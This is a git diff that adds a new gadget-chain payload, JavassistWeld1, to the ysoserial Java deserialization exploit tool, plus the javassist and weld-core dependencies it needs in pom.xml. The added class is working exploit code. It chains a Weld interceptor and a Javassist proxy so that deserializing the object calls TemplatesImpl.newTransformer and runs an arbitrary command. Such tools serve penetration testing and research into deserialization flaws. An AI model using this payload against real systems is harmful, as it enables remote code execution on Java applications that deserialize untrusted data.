diff --git a/pom.xml b/pom.xml index 43ffc0d..a8ecf2e 100644 --- a/pom.xml +++ b/pom.xml @@ -257,6 +257,16 @@ js 1.7R2 + + javassist + javassist + 3.12.0.GA + + + org.jboss.weld + weld-core + 1.1.33.Final + diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java new file mode 100644 index 0000000..bf89d51 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -0,0 +1,88 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import javassist.util.proxy.ProxyFactory; +import javassist.util.proxy.ProxyObject; +import javassist.util.proxy.RuntimeSupport; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final"}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + ProxyFactory proxyFactory = new ProxyFactory(); + proxyFactory.setSuperclass(HashMap.class); + ProxyObject proxy = (ProxyObject) proxyFactory.createClass().newInstance(); + proxy.setHandler(interceptorMethodHandler); + + return RuntimeSupport.makeSerializedProxy(proxy); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JavassistWeld1.class, args); + } +} \ No newline at end of file